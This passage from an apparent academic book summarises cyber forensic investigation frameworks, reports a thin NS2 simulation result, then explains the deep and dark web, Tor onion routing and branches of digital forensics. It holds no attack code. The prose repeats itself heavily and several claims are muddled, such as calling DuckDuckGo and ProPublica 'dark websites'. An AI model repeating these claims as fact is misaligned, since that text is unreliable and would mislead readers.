steal, change, destroy data, or interfere with services.

The project (Park, Cho, & Kwon, 2009) created a cyber forensics ontol-
ogy for online criminal investigations. Cyberterrorism and regular cyber-
crime are two categories of cybercrime that are related to one another. 
High-tech equipment, a stable system environment, and professionals are 
needed to investigate cyberterrorism, and there is evidence linking ordinary 

FIGURE 14.1  Components of cyber forensics (Kim, et al., 2023).
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cybercrime to other types of crime in digital data and cyberspace. The crime 
site and surroundings must first be secured, the investigative process must 
be designed, and procedures must be followed to gather evidence. Then 
the evidence is scrutinized and analyzed, and the specific crime type and 
its outline are determined. The offender is then taken into custody once the 
relevant related laws have been identified and written down. According to 
the KNPA’s guidelines for the criminal investigation process, the scene must 
first be secured before evidence (both volatile and nonvolatile in cyberspace 
and the actual world) can be collected following established procedures. 
The evidence is then looked through and analyzed before being safely pre-
served. Third, to prosecute the crime, relationship laws are used, and reports 
of the criminal case are prepared.

	•	 Identity theft: The theft of personal data is used to create bank accounts, get 
loans, or carry out activities in someone else’s name to commit fraud.

The general scientific approach to inquiry that Carrier and Spafford pre-
sented at the Digital Forensic Research Workshop (DFRWS) 2006 is a check-
list of high-level phases on a theoretical basis to propose (Angelopoulou, 
2007) and define a process in the digital investigation research field. The 
stages show a precise approach to the particular field of research and have 
been applied to already-existing frameworks. To have a good image of the 
processes and activities that take place throughout the inquiry, the researcher 
must watch the field. During the formulation of hypotheses, the researcher 
concentrates on the outcomes of the observation phase and can classify the 
methods that will help with the analysis of the data. The outcomes of the 
prediction phase will demonstrate whether or not the hypothesis was devel-
oped on a constructed foundation and will direct the researcher to the last 
step, which will support the hypothesis formulation. In testing and search-
ing, tests and experiments that are conducted in a way that is generally 
accepted are likely to provide new predictions and assess the researcher’s 
hypotheses.

	•	 Financial fraud: Online fraud, credit card theft, and other types of financial 
deceit are used to defraud people or businesses of their money.

The goal of the study (Hidayati, Riadi, Ramadhani, & Al Amany, 2021) 
is to create a framework that will aid auditors in finding instances of cyber 
fraud so that the number of cases that are successfully addressed can rise. 
The conceptual framework is distinct from the theoretical framework in that 
it is more narrowly focused on the subject being studied. This framework 
was created using Jabareen’s conceptual framework creation approach, 
which consists of six steps, including mapping the chosen data source, thor-
ough reading and categorization of the selected data, object identification 
and naming, and finalization – by dissecting and classifying the idea, incor-
porating the idea, resynthesis, and synthetic. The framework for investigat-
ing cyber fraud makes use of eight frameworks for fraud audit investigations 
and 22 frameworks for digital forensics. The Jabareen approach was used to 
create a framework that included eight steps and numerous principles drawn 
from fraud audits and digital forensics. Because of this, it is anticipated that 
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the steps of validating the conceptual framework and rethinking the con-
ceptual framework will be further examined by academics and researchers. 
The Delphi survey approach, which involves polling an expert, is used to 
evaluate the progress of this framework. This approach may also be used to 
solicit suggestions for defining the study’s limits. A research tool created by 
Bacon with a little modification will be used for the questionnaire address-
ing the development of the framework. It will include five questions and 
three answer indicators. Selected data are mapped as the initial step. The 
information to be used in this comes from books and scholarly journals. 
Two disciplines, Fraud Audit and Digital Forensics, provided information, 
particularly concerning the structure and stages of the investigative process.

	•	 Cyberstalking: The act of intimidating, threatening, or harassing someone 
through digital communication means; the victim is frequently subjected to 
emotional anguish.

Anti-cyberstalking text-based system (ACTS) provides a framework 
(Frommholz, et al., 2016) for identifying text-based cyberstalking. It dis-
cusses some fundamental approaches like author identification, text catego-
rization and personalization. It is a generalization of the framework that 
lacks a personalization module. The concept put forth here is best character-
ized as a digital preparedness and detection system that focuses on the auto-
matic detection and evidence gathering of text-based cyberstalking. The 
system is still being implemented prototypically, and data gathering is still 
happening. ACTS is made to operate on a user’s computer or mobile device 
and is intended to find and block text-based cyberstalking. The suggested 
approach incorporates several countermeasures against cyberstalking. It 
has five primary modules: aggregator, attacker identification, detection, 
personalization, and evidence gathering. Blacklists based on metadata may 
be used to filter communications from undesired senders when a new mes-
sage is received. The aggregator receives the output from the three modules 
before making a judgment. By ranking the words and phrases that are often 
used in cyber stalking, a code dictionary is produced. Each word and phrase 
starts with a rating value of zero. The ranking value of the matched word or 
phrase in the code dictionary is then raised each time it matches words or 
phrases in the received message. The last module is the evidence collection 
module, which, in addition to the specified information and content, gath-
ers evidence from incoming cyberstalking messages; for example, email 
headers and timestamp information are retained. Law enforcement will be 
able to regularly access communications as well as have a general idea of 
how cyberstalking is going, thanks to this approach. Saving communica-
tions from cyberstalking might be the first step in gathering information 
about cyberstalking.

	•	 Cyberbullying: It is the practice of harassing, intimidating, or humiliating 
someone through electronic communication, usually focusing on children 
or other vulnerable people.

The goal of this study (Riadi, 2017) is to examine how much cyberbul-
lying has grown in Indonesia on Twitter and what kinds of cyberbullying 
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are most frequently utilized by abusers. The study was conducted via data 
mining methods. The first step is to gather Twitter log data, followed by pre-
processing (data cleansing) to ensure that the acquired data are structured, 
TF-IDF weighting and data validation, and classification using Naive Bayes 
Classification (using machine-learning WEKA). Data is gathered using the 
Twitter database. 1245 data were gathered, which were reduced to 583 data 
by preprocessing. data mining for November and December 2016. Log in to 
Twitter first, use the registration Application Programming Interface (API) 
to receive an access token, construct a script with the access token already 
in, and then use the Boolean searching strategy to find the data you require 
by using the operators “AND,” “OR,” and “NOT” as appropriate. Change 
the JSON file for the collected data to a CSV file, and then do preprocessing 
or data purification. Preprocessing should be done at this level in two stages: 
manually and then using WEKA machine learning. The categorization stage 
was completed using WEKA’s machine-learning algorithm.

	•	 Online child exploitation: It is the creation, possession, or distribution of 
child pornography, as well as online grooming and recruitment of kids for 
such activities.

To examine the individual experiences of working as a digital forensics 
analyst, the study described here employed Interpretative Phenomenological 
Analysis (IPA) (Strickland, Kloess, & Larkin, 2023). The research used a 
total of seven digital forensics experts from a specialized section of the UK 
police force. Four of these were men and three were women. Participants’ 
experience as digital forensics analysts ranged from three to 15 years. To 
schedule a visit to the specialized unit and inform possible volunteers about 
the nature of the study, the first author was put in touch with the head of the 
unit. Once a visit was scheduled, the first and second authors went to the 
specialized unit to meet with any possible participants, deliver them a par-
ticipant information sheet, and explain the research to them in a room apart 
from their office. An electronic permission form has to be filled out by par-
ticipants at least 24 hours before the interview. The interviews were placed 
in a private space apart from the open-plan workplace of the expert unit. 
The interviews were taped using a Dictaphone and according to a semi-
structured interview schedule. The seven interviews took 60 to 90 minutes. 
Reading and rereading: this phase entails immersion in the original data and 
helps to guarantee that the participant becomes the center of the study. The 
exploratory note stage enables the researcher to become more comfortable 
with the data as they look at the language and semantic content of the tran-
script. To minimize the amount of detail analytically while keeping the sig-
nificance, the researcher must first gather and crystallize their ideas before 
constructing experience statements. The researcher must map experien-
tial claims for them to fit together before looking for links between them. 
Labeling the collections of experiencing statements with descriptive words 
helps identify the personal experiential themes (PETs) and consolidate and 
arrange them into a table. Repeating the procedure includes moving on to 
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the individual analysis of additional instances stage. The last phase in using 
PETs to create group experience themes across instances entails comparing 
and contrasting PETs to create group experiential themes.

	•	 Intellectual property theft: It is unauthorized access, copying, or dissemina-
tion of trade secrets or copyrighted content, such as private company data, 
music, movies, or software.

First, examiners (Carroll, Brannon, & Song, 2008) determine if there is 
sufficient information to move further. They ensure that the request is clear 
and that there is enough information to try to respond to it. Coordination 
is done with the requester if anything is missing. Otherwise, they keep set-
ting up the procedure. Any forensic procedure begins with the validation 
of all hardware and software to make sure they are in good working order. 
The examiner copies the forensic data given in the request and confirms its 
integrity once the forensic platform is prepared. This procedure presupposes 
that law enforcement has previously developed a forensic picture and col-
lected the data via the proper legal channels. A forensic image is a complete, 
addition- and deletion-free replica of the data that was originally stored on 
the original medium. It is assumed that the forensic examiner possesses a 
functional copy of the material that was seized. The examiners verify that 
the copy they are holding is authentic and undamaged. Examiners establish 
a plan to extract the data necessary to answer these questions after confirm-
ing the accuracy of the data to be analyzed.

	•	 Cyberterrorism: The use of digital technology to organize, plan, or carry out 
terrorist attacks or to assault vital infrastructure systems like transportation 
and electricity grids.

14.3 � LITERATURE SURVEY

As pilot research, the current investigation (Rogers & Seigfried, 2004) was planned. 
Its goal was to present a more current perspective on what experts in the field believed 
to be the top five challenges confronting computer forensics. The study’s conclusions 
will be utilized to choose approaches and tactics for dealing with these problems and 
concentrate financing and research efforts. Researchers, students, scholars, and prac-
titioners in the business and public sectors make the study’s respondents. The study’s 
participation was entirely voluntary. It was determined that the voting was unofficial 
and only an effort to start gathering important information for the computer forensics 
community. There was just one question in the poll, which asked participants to rank 
the top five computer forensics-related problems. The responses were sent anony-
mously to the lead researcher’s general email account after respondents completed 
the drop-down box. Approximately one month was spent on the study. The analysis 
of descriptive statistics was used to analyze the data. Ten high-order categories were 
first used to organize the data.

A research article by Saleh, Othman, Al-Dhaqm, and Al-Khasawneh (2021) pro-
poses a generalized inquiry process model for the field metamodeling strategy used 
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by IoTFs (Internet of Things Frameworks). The model involves several key steps and 
phases in the investigation process for IoTFs. Identification and selection of IoTF 
models and frameworks identify and choose IoTF models based on specific selection 
criteria. Customized criteria for gathering research processes customizes criteria for 
gathering and extracting investigation processes from selected models. Investigative 
methods for each model identify and employ various investigative methods for IoTF 
model. Mapping of obtained investigation processes map the extracted investigation 
processes to create a comprehensive understanding. The preparation phase sets up 
the investigative team, prepares the whole inventory of resources, develops incident 
response plans, and utilizes trusted forensic toolkits. The collecting phase uses the 
procedure of collecting to gather and store all seized data, analysis process recon-
structs chronological events, examines these events, and identifies the culprit through 
the analysis process. Validation and assessment validate and assess the completeness 
of the suggested regular procedures.

The article by Reith, Carr, and Gunsch (2002) examines the evolution of the 
digital forensics process, analyzes four distinct forensic approaches, and then sug-
gests an abstract model of the forensic process in general. The identification entails 
identifying an occurrence based on indicators and identifying its kind. Tools, meth-
odologies, search warrants, monitoring authorizations, and management assistance 
are all part of the preparation process. Approach strategy is the procedure where the 
system decides on a course of action based on the potential influence on bystanders 
and the relevant technology. The status of physical and digital proof needs to be 
isolated, safeguarded, and maintained throughout the preservation phase. During 
the collection phase, tried-and-true methods need to be used to reproduce digital 
evidence and record the actual scenario. The examination step entails a thorough, 
methodical search for relevant evidence. During the analysis step, importance is 
determined, data fragments are rebuilt, and conclusions are drawn using the infor-
mation gathered. It summarizes the key points and explains the findings. In the 
phase of returning evidence, it is decided how and what kinds of criminal evidence 
need to be eliminated. The tangible and digital property is returned to the rightful 
owner.

Although the event has been reported, the organization is unaware of the specific 
assault actions that have been carried out. The defender’s objective (Nisioti, Loukas, 
Laszka, & Panaousis, 2021a) is to learn these procedures. The defender is aware that 
the attacker must have chosen just a portion of all possible attack actions. Step-by-
step procedures are used in the investigative process. The defender selects an attack 
action for each stage of the investigation process and investigates to determine 
whether or not this attack action was carried out as part of the occurrence. The cost 
of doing the inspection that identifies this step is incurred for each attack action. The 
resources are expressed in cost. Three attack scenarios based on the Tactics, 
Techniques, and Procedures (TTPs) of the MITRE ATT&CK knowledge base and 
accompanying probabilistic relations are used to evaluate DISCLOSE. These rela-
tionships have been analyzed and made accessible through the MITRE ATT&CK 
STIX repository and are from publicly accessible reports. A subset of the MITRE 
ATT&CK Enterprise matrix’s TTPs is used as the attack space for evaluating 
DISCLOSE.
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There are various guiding concepts around which the incident-based approach is 
founded (Mughal, 2019):

	 i.	Flexibility stage: Instead of adhering to a fixed, predetermined method, the 
investigative process needs to be adapted to the needs and features of each 
cyber occurrence. Proactively preventing cyber problems before they hap-
pen and working to lessen their effects rather than merely responding to 
them after they happen.

	 ii.	The phase of collaboration: It improves the overall success of the inquiry. 
Better communication and cooperation are encouraged among all stake-
holders, including law enforcement, nonprofits, and foreign partners.

	 iii.	The phase of continuous improvement: In this stage, the investigative 
method, tools, and procedures are regularly reviewed and updated based on 
lessons gained from prior occurrences and altering cyber threats.

The paper by Nisioti, Loukas, Rass, and Panaousis, (2021b) uses a game-theoretic 
framework to examine the interactions between a cyber forensic investigator and a 
strategic attacker. In the case of multi-host cyber forensics, the investigation graph 
of activities traversed by both players is predicated on a Bayesian game of imperfect 
information. The graph’s edges indicate players’ activities on various hosts through-
out a network. The universe of assault actions, which are available to the attacker 
during the attack, represents the options of the Investigator, which are comparable 
to inspection activities. The range of assault options at each stage of the attack is 
influenced by the network architecture, technologies in use, security strategies in 
place, and other attributes of the targeted organization. An investigator is summoned 
to find out what was done after the incident ended, that is, after the attacker has 
already achieved their purpose. This results in a typical forensic procedure where 
the investigator seeks to disclose the desirable forensic evidence while maximiz-
ing how it selects forensic activities. Any physical or virtual device that is a host 
of a network can be the target of an attack or an examination. Two game-theoretic 
models are given, where the attacker and the investigator are the strategic, logi-
cal players who must select between a set of attack actions and a set of inspection 
activities. A decision point for the attacker is a stage in the attack where he or she 
decides what to do next. Thirty-three TTPs from the MITRE ATT&CK knowledge 
base and their accompanying benefit and cost values were used in this case study, 
which also included interviews with cybersecurity experts and data from Common 
Vulnerability Scoring System (CVSS). To evaluate the effectiveness of IRP and two 
additional investigative techniques, namely Uniform and Common-Sense Strategy 
(CSS), against three types of attackers – strategic, uniform, and common sense – we 
used the Tactics, Techniques, and Procedures (TTPs) to create a representative graph 
of incidents. The graph is a miniature model of a corporate network, complete with 
many hosts and a variety of potential attack actions. A decision point, or the instant 
when players choose their next move, is represented by a node on the graph, whereas 
each attack action is represented by an edge.

The OCTAVE Allegro technique (Ali & Awad, 2018) was chosen as the approach 
for this study. When completing the security risk assessment of a smart home setting, 
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primarily focuses on information asset security and where that information is located. 
OCTAVE Allegro offers instructions, workbooks, and surveys for carrying out the 
risk assessment procedure. Because OCTAVE Allegro has the potential to have an 
asset container that includes both physical security and cybersecurity, it is highly 
suited for risk assessment of smart homes. The establish drivers phase aims to design 
a set of risk measurement criteria for a smart home to lay the groundwork for the 
information asset risk assessment. These criteria give the capacity to gauge how 
stakeholders in smart homes may be impacted by a breach of information assets. 
Critical information assets are first identified and then profiled during the phase of 
profile assets. The security needs are determined and distinct limits for an asset are 
defined throughout the profiling phase. The identification of security concerns posed 
by the identified assets in the context of the places where the information asset is 
held, moved, or processed is the main goal of the identity theft phase. By evaluating 
the potential effects of attack scenarios on a smart home system, cyber and physical 
security threats to information assets are discovered during the risk mitigation phase. 
Analyzing the effects or outcomes of such hazards on the smart home environment is 
how the evaluation is done.

14.4 � PROPOSED WORK

The article by Saleh, Othman, Al-Dhaqm, and Al-Khasawneh (2021) suggests a gen-
eralized inquiry process model for the field metamodeling strategy used by IoTFs. 
IoTF models and frameworks are identified and collected in Identify and Choose 
IoTF models depending on chosen selection criteria. In gathering research processes, 
it depends on customized criteria. It gathers and extracts investigation processes from 
opted models. There are several investigative methods for each model. The extracted 
investigation processes are mapped in mapping obtained investigation processes. The 
preparation phase is used to set up the investigative team, the whole inventory of 
resources, the incident response plans, and the trusted forensic toolkits. The pro-
cedure of collecting is utilized to gather and store all seized data. Reconstructing 
chronological events, examining these events, and identifying the culprit are all done 
through the analysis process. The last stage is to validate and assess how complete 
the suggested regular procedures are.

The proposed work considers the environment under study. It collects the prelimi-
nary settings required. Figure 14.2 lists the phases in the current study.

	•	 Evaluation of environment: A test run is conducted in the environment.
	•	 List preliminary setting required: The attacks applicable to the environment 

are studied and jolted down. Based on the type of attacks, the security set-
tings are suggested.

The rest of the work remains the same as the previous work (Saleh, Othman, 
Al-Dhaqm, & Al-Khasawneh, 2021).
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FIGURE 14.2  Phases of procedure.
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14.5 � SIMULATION

The work is simulated in NS2. Table 14.1 denotes the set of parameters used in the 
proposal.

14.6 � ANALYSIS OF THE WORK

The article by Saleh, Othman, Al-Dhaqm, & Al-Khasawneh (2021) suggests a gener-
alized inquiry process model for the field metamodeling strategy used by IoTFs. IoTF 
models and frameworks are identified and collected in Identify and Choose IoTFs 
models depending on chosen selection criteria. In gathering research processes, it 
depends on customized criteria. It gathers and extracts investigation processes from 
opted models. There are several investigative methods for each model. The extracted 
investigation processes are mapped in mapping obtained investigation processes. The 
preparation phase is used to set up the investigative team, the whole inventory of 
resources, the incident response plans, and the trusted forensic toolkits. The pro-
cedure of collecting is utilized to gather and store all seized data. Reconstructing 
chronological events, examining these events, and identifying the culprit are all done 
through the analysis process. The last stage is to validate and assess how complete 
the suggested regular procedures are. The proposed work considers the environment 
under study. It collects the preliminary settings required.

	•	 Early Validation

The suggestion is modified based on the different kinds of attacks in the environ-
ment. If the type of attack is known, the investigation can be done in a better manner. 
It evaluates the system early by 10.42% compared to previous work (Saleh, Othman, 
Al-Dhaqm, & Al-Khasawneh, 2021). Figure 14.3 depicts the same.

14.7 � FUTURE WORK

The proposed work considers the environment under study. It collects the preliminary 
settings required. The suggestion is modified based on the different kinds of attacks 
in the environment. If the type of attack is known, the investigation can be done in a 
better manner. It evaluates the system early by 10.42% compared to previous work.

	•	 Energy is one more parameter necessary to be considered in the future work.

TABLE 14.1
Parameters Used in the Work

Parameters Used in the Study Description

Dimension of the environment under study 200 m * 200 m
No. of devices considered under study 10
No. of attacks considered 3
Length of data transmitted 256 bits
Simulation time 60 m
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14.8 � CONCLUSION

The previous article suggests a generalized inquiry process model for the field 
metamodeling strategy used by IoTFs. IoTF models and frameworks are identified 
and collected in Identify and Choose IoTFs models depending on chosen selection 
criteria. In gathering research processes, it depends on customized criteria. It gathers 
and extracts investigation processes from opted models. There are several investiga-
tive methods for each model. The extracted investigation processes are mapped in 
mapping obtained investigation processes. The preparation phase is used to set up 
the investigative team, the whole inventory of resources, the incident response plans, 
and the trusted forensic toolkits. The procedure of collecting is utilized to gather and 
store all seized data. Reconstructing chronological events, examining these events, 
and identifying the culprit are all done through the analysis process. The last stage is 
to validate and assess how complete the suggested regular procedures are. The pro-
posed work considers the environment under study. It collects the preliminary settings 
required. The recommendation tackles different kinds of attacks in the environment. It 
validates the system at an early stage and hence 10.42% provides better performance.
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15.1 � INTRODUCTION

The terms web and the internet are commonly used interchangeably. In reality, 
although they have a few similarities, they are two different names. The internet con-
tains the extensive infrastructure of various networks. It is conceivable to connect a 
million computers by establishing a network that allows any computer to speak with 
any other computer as long as they are both connected to the internet [1].

A vast system called the World Wide Web (WWW) contains an unparalleled 
amount of digital data. Access to the omnipresent internet is provided via common 
search engines like Google and Yahoo [2]. The need for web security has lately 
increased as more and more individuals rely on the internet in order to satisfy their 
needs. In the mid-1990s, as the internet grew, many things began to change. The big-
gest change is instant communication. If you have an internet connection, you are 
able to communicate with anyone right away. However, the main problem is that 
privacy, security, and anonymity weren’t taken into consideration while designing 
the internet. As a result, everything can be monitored. Many people are gravely con-
cerned about their safety and privacy. So, the vast, hazardously concealed portion of 
the internet is known as the black web [3].

The most common source of stolen data and illicit services today is both a fasci-
nating topic of conversation and a risky place to browse. Whether we’re talking about 
private data breaches involving credit/debit card information from Argot, healthcare 
information from Anthem, or sensitive personal data from Equifax, each of them has 
at least one element in common. The stolen data eventually ends up on the dark web, 
so it may be traded and purchased. Normal web browsers like Internet Explorer, 
Mozilla Firefox, and Google Chrome cannot access the dark web. Tor, the most 
widely used method of accessing the dark web, often known as “The Onion Router,” 
(TOR) was developed by the armed forces to protect international communications 
[3]. The vast bulk of darknet content is accessible through the anonymous Onion 
Router network and can be found there. TOR’s network of encrypted virtual tunnels 
lets users access the internet covertly by masking their identities and network traffic. 
The hidden service protocol can be used to host anonymous websites that are only 
accessible to TOR users [4].

15.2 � STRUCTURE OF AN INTERNET

Figure 15.1 illustrates the three components that make up the World Wide Web.
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15.2.1 � Surface Web

The first segment is the surface web, at times known as the Clearnet, visible web, or 
indexable web pages. It includes online stuff. Users can only access the surface web 
while engaging in regular everyday activities. Common search engines like Google, 
Bing, or Yahoo can find it, and it is also accessible via common web browsers such as 
Microsoft’s Internet Explorer or Edge, Google Chrome, and Mozilla Firefox, which 
do not require any further settings [5]. Google and Yahoo are two instances of the 
surface web. Everything that we may view on the search engine results page, includ-
ing Facebook, YouTube, Wikipedia, regular blogging websites, and so on.

15.2.2 � Deep Web

The deep web, which differs from the indexed web, is known as the hidden web or 
unseen web and is the second component. The deeper web allows users to remain 
anonymous while freely expressing themselves. The vast majority of innocent peo-
ple who are hounded and terrorized by other criminals want privacy. It is used to 
maintain the privacy and anonymity of online activity, which is beneficial for both 
legitimate and illegitimate goals. Some individuals use it to circumvent government 
restrictions, but it has also been used for really illegal activity [6]. Electronic bank 
statements, personal social media postings, chat, electronic health records, email, 
and other internet-accessible items are examples of deep web content.

15.2.3 � Dark Web

The last phase, known as the dark web, is said to have originated in 2000 with 
the release of Free Net, a senior thesis project by Ian Clarke at the University of 
Edinburgh. A “Distributed Decentralized Information Storage and Retrieval System” 
was what Clarke aimed to build. In order to share data and interact online anony-
mously, Clarke set out to develop a new method [7]. Dark web is a part of the global 
web platform that needs some type of authentication in order to access and is not 
indexed by search engines. It may be necessary to employ specialized software, 
which includes proxy software, in order to access the dark web. Human trafficking, 
the sale of illegal drugs, and the trade in firearms are just a few instances of dark web 

FIGURE 15.1  Internet structure.
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activities. For a variety of reasons, avoid using a dark web. As opposed to that, it’s a 
location worth visiting as well. Not everyone should use the dark web, yet some of 
it is interesting to explore. Dark websites include, for instance, Tor, DuckDuckGo, 
ProPublica, SecureDrop, Ahmia, and others [8, 9].

15.3 � LITERATURE REVIEW

The deep web, which is obscured on the internet, is thought to make up around 
96 percent of the WWW [10]. The dark web, often referred to as dark site on web 
page, is a segment of the deep web that is almost entirely used for criminal activities 
[11]. Fifty-seven percent of the dark web’s traffic is comprised of illegal content and 
fraudulent activity. Illegal narcotics, the trafficking of firearms, illegal conversations, 
stolen financial information, false money, child pornography, terrorist connections, 
and more are some of these [1], [12], [13]. The deep web, an unseen portion of the 
internet, is thought to make up around 96 percent of the WWW [10]. The deep web’s 
dark web, sometimes known as the dark web or just the darknet, is mostly utilized 
for illegal activity.

The public was made aware of these illegal activities after US FBI shut down the 
most well-known dark web Marketplace Silk Road in 2013 [2]. Deep search engines 
and hidden wikis are the ways to access the dark web’s illegal material and with mali-
cious intent. These websites provide a number of hyperlinks that lead to the deep web 
[10]. The anonymity offered by its suppliers is one of the main challenges that foren-
sic analysts must overcome when looking into illegal activity on the dark web. 
Frequently used anonymous services such as Tor, I2P, Freenet, and Jon Donym uti-
lize the content and services offered on the dark web [14].

The most well-known service on the dark web is the TOR network, which enables 
users to covertly and anonymously transfer information over peer-to-peer connec-
tions as opposed to a centralized computer server [15]. The study uses an onion 
router crawling technique to trace traffic with a high likelihood of cybersecurity haz-
ards [16]. The US Naval Research Laboratory developed this service in 2002 with the 
intention of enabling users to access prohibited websites, evade censorship, and pro-
tect the privacy of vital conversations [17]. Due to the TOR network’s anonymizing 
features, it is extremely hard to monitor the dark web. Through the TOR, which is 
challenging to detect and block, criminals access the dark web [2]. This is one of the 
reasons why there is such a strong push for security agencies and law enforcement to 
monitor activities on the dark web. Criminals frequently set up relay stations on the 
dark web to conceal their nefarious activities. When legal action employs the TOR 
browser to correlate IP addresses for the scene of the crime, they only discover the 
last TOR exit relay as a result.

Some of the methods for proactively monitoring the hidden portions of the inter-
net that have been investigated in research include data, mapping the invisible direc-
tory, semantic analysis, market profiling, monitoring social media sites, and 
monitoring customer data [2]. In order to find offenders, law enforcement has 
employed a variety of strategies, including social media, IP addresses, user activity 
tracking, and Bitcoin account monitoring [6]. Anonymous services like Tor, Freenet, 
I2P, and Jon Donym frequently use the dark web [14]. The TOR network, which 
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offers the capability for the user to covertly transmit anonymous data using p2p con-
nections instead of a centralized computer server, is the most recognizable service in 
the dark web [15]. This service was developed by the US Naval Research Laboratory 
in 2002 with the intention of allowing users to access blocked websites, avoid cen-
sorship, and safeguard sensitive communications’ privacy [17]. Monitoring the dark 
web is challenging due to the anonymizing capabilities of the TOR network. 
Criminals reach the dark web using the challenging-to-identify and comprehend 
Onion Router (TOR) [2]. One of the causes of the extremely high pressure is this. 
Using law enforcement and security organizations to track and monitor dark web 
activity on the dark web, criminals regularly set up relay servers to disseminate infor-
mation about their illicit activity. As a result, law enforcement can only locate the last 
TOR exit relay when using the TOR browser to link the IP address to the scene of the 
crime [14].

Researchers have created a range of strategies and ways to track and detect differ-
ent illegal activity and criminal behavior on the deep web. The Memex Project is one 
of the effective dark web data mining tools, created and used by the US Defense 
Advanced Research Projects Agency (DARPA) [18]. Some of the techniques for pro-
active monitoring of the hidden areas of the internet that have been investigated in 
research include market profiling, monitoring social media sites, monitoring cus-
tomer data, mapping the hidden services directory, and semantic analysis [2]. In order 
to find offenders, law enforcement has employed a variety of strategies, including 
social media, Bitcoin account monitoring, user activity tracking, and IP addresses [6].

15.4 � COMPARISON OF THE DARK WEB WITH THE DEEP WEB

Contrary to common misconception, there is a difference between the deep web and 
the dark web. The deep web is both unindexed and unavailable by traditional search 
engines in order to safeguard user privacy [19]. In order to preserve user anonymity, 
the little fraction of the deep web known as the “dark web” is purposely not indexed. 
Only a stealthy browser can reach the black web.

15.5 � AN EXPLANATION OF HOW TO USE TOR TO ACCESS AN 
UNINDEXED WEB

Websites found in obscure or unindexed internet areas are commonly referred to as 
being on a “dark web.” That can only be accessible through an exclusive network and 
can’t be accessible over a conventional web.

The TOR (The Onion Router) Browser is how we may reach the dark web, which 
is its main entry point. Most of the unique purposes for which TOR was developed. 
In the twenty-first century, TOR was developed by the Naval Research Laboratory of 
the United States [20].

TOR was developed with the intention of granting confidentiality to American 
soldiers serving abroad. Tor utilizes many encryption layers. The phrase “Onion 
Router” alludes to the device’s many layers, which resemble an onion. It is possible 
to identify the devices it is now using and those it has already passed through with the 
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aid of TOR’s multilayer architecture but not its origin or destination. Before transmit-
ting data packets to the computer behind it in the chain, each device must first peel 
back the layer of the onion it is now in. The present device decrypts the data saved on 
the following device. It’s aware of the data’s path from the point of receipt to the 
point of transmission, but it is blind to the data packets’ point of origin and final 
destination. The major standard used by Onion Routing is this. The origin or destina-
tion of the network must be known in order to track data packets. The address system 
used by TOR, which is made up of keys generated at random and recognized by the 
end of the address, maintains track of secret sites by individuals. Utilizing the dark 
web’s browsers is the easiest method of navigating TOR. TOR URLs are often com-
plicated and difficult to remember in a way to minimize exposure and DDoS 
(Distributed Denial of Services) attacks [21, 22]. You can visit the dark websites if 
any of these browsers are installed on your computer. It is impossible to realize that 
the majority of harmful, and infected dark web sites demand passwords and only 
provide access by invitation.

15.6 � WORKING OF TOR

Using the “Onion Routing” method, which TOR emulates, user information is first 
encrypted before being relayed over. The TOR network has a variety of relays. To pro-
tect the user and conceal their identity, layering encryption is utilized. By eliminating 
connections between the individual’s computer and the intended device through the 
intermediary relay network, it achieves its desired effect. They are completely man-
aged by workers who are able to forgo some capability for transporting for the cause 
and are available all over the world. When anonymity and network speed are the 
main considerations, having more relays is beneficial because each relay can provide 
a large amount of data flow [23]. However additional relays become more challeng-
ing to monitor a user. Figure 15.2 illustrates how TOR functions.

FIGURE 15.2  Working of TOR through relays.
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After each succeeding relay decodes an encoded layer, the data is disseminated to 
all relays until it reaches the destination server. The destination server acknowledges 
the endpoint of the relay as the data source. Figure 15.3 shows the encode technique 
used by TOR. Once more, the data is encrypted such that only the relay entering the 
network will be able to decode it.

This signifies that we have encrypted our particular data using many layers, like 
onion. The source and destination of the data during transmission are known to each 
relaying, along with other necessary information.

15.7 � COMPUTER FORENSICS AND THE METHODOLOGY APPLIED

Using techniques for court cases, forensic scientists can reconstruct historical occur-
rences. In addition to evidence preservation, digital forensics (DF) is the practice 
of identifying, transporting, gathering, analyzing, storing, presenting, distribut-
ing, reverting back to, destroying, and/or interpreting digital evidence from digital 
sources [24]. DF is typically broken down into a number of classes. Some of these 
are forensics of computers, forensics of networks, and forensics for mobile devices. 
Each of the aforementioned courses in DF helps to identify those responsible for 
cyberattacks, phishing, as well as fraud [25].

The three categories of forensic science are described here:

Computer forensics: The examination of DF evidence using a methodical 
approach in order to recreate actual data for judicial scrutiny. This entails 
gathering and evaluating information from various computer resources, 
such as computer networks, lines of communication, computer systems, and 
appropriate test storage media [26–28].

Network forensics: The sharing of computer data is made possible via a tele-
communications network. The majority of digital devices, including com-
puters, notepads, and terminators, are connected to the network via wired 
or wireless connections. It seeks to deter cybercriminals from engaging in 
illicit activity by catching them with proof [29, 30].

FIGURE 15.3  TOR’s encryption system.
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Mobile forensics: Mobile forensics (MF) is a subset of digital forensics that 
focuses on recovering evidence from a mobile device. It is also known as 
mobile device testing and involves interacting elements like power, people, 
resources, a team of investigators, processes, and policies [30, 31] [32].

15.8 � HOW DOES THE DARK WEB OPERATE WITH VARIOUS 
TECHNOLOGIES?

TOR domains are frequently visited by dark web users. Websites associated with 
TOR can be accessible using the “onion” domain. Unrestricted accessibility to the 
dark web is the primary objective of the TOR browser. On the dark web, every web-
site or URL has a node or starting point [33]. This node, which is frequently referred 
to as the beginning point, creates a link to the server hosting the website. These nodes 
give network access and are linked in such a way as to protect the privacy of any-
one visiting a dark web website. The multilayer encryption technology conceals and 
makes it impossible to track identities and locations. The network node after it that 
leads to the destination can decode the transmitted data. It safeguards user confiden-
tiality and is secure. This complex structure makes it hard to decode the data layer by 
layer and refresh the path of nodes.

The connection is established to the server where the webpage is really stored at 
this node or beginning point. These nodes act as points of entry or access to the net-
work and are interconnected to protect users’ identities when they view a website on 
the dark web. Due to the multilayer encryption technique, identities and locations are 
concealed and impossible to monitor. The node after it in the network that leads to 
the destination can decrypt the data that has been transmitted. The privacy of indi-
viduals is protected, and it is secure. Regenerating the node route and decrypting the 
data layer by layer is not possible in this sophisticated system [34].

A network inside a network, the Invisible Internet Project (I2P), provides ano-
nymity as a way of protecting communication via dragnet monitoring and surveil-
lance by other parties, such as ISPs. People will utilize I2P to safeguard the 
confidentiality of their messages and activities.

Free Anonymous Internet (FAI): FAI is a decentralized service that is used on the 
deep web that makes use of blockchain technology. Blockchain to develop to peer, 
anonymous, and secure replacement for standard WWW. FAI appears with an elec-
tronic currency based on Bitcoin of its own. It allows its users to upload their own 
source code to view media information as well as other people’s posts in utmost 
secrecy, away from the reach of anyone snooping on your activities. Even a built-in 
decentralized marketplace is available for users to trade goods with one another [9, 11].

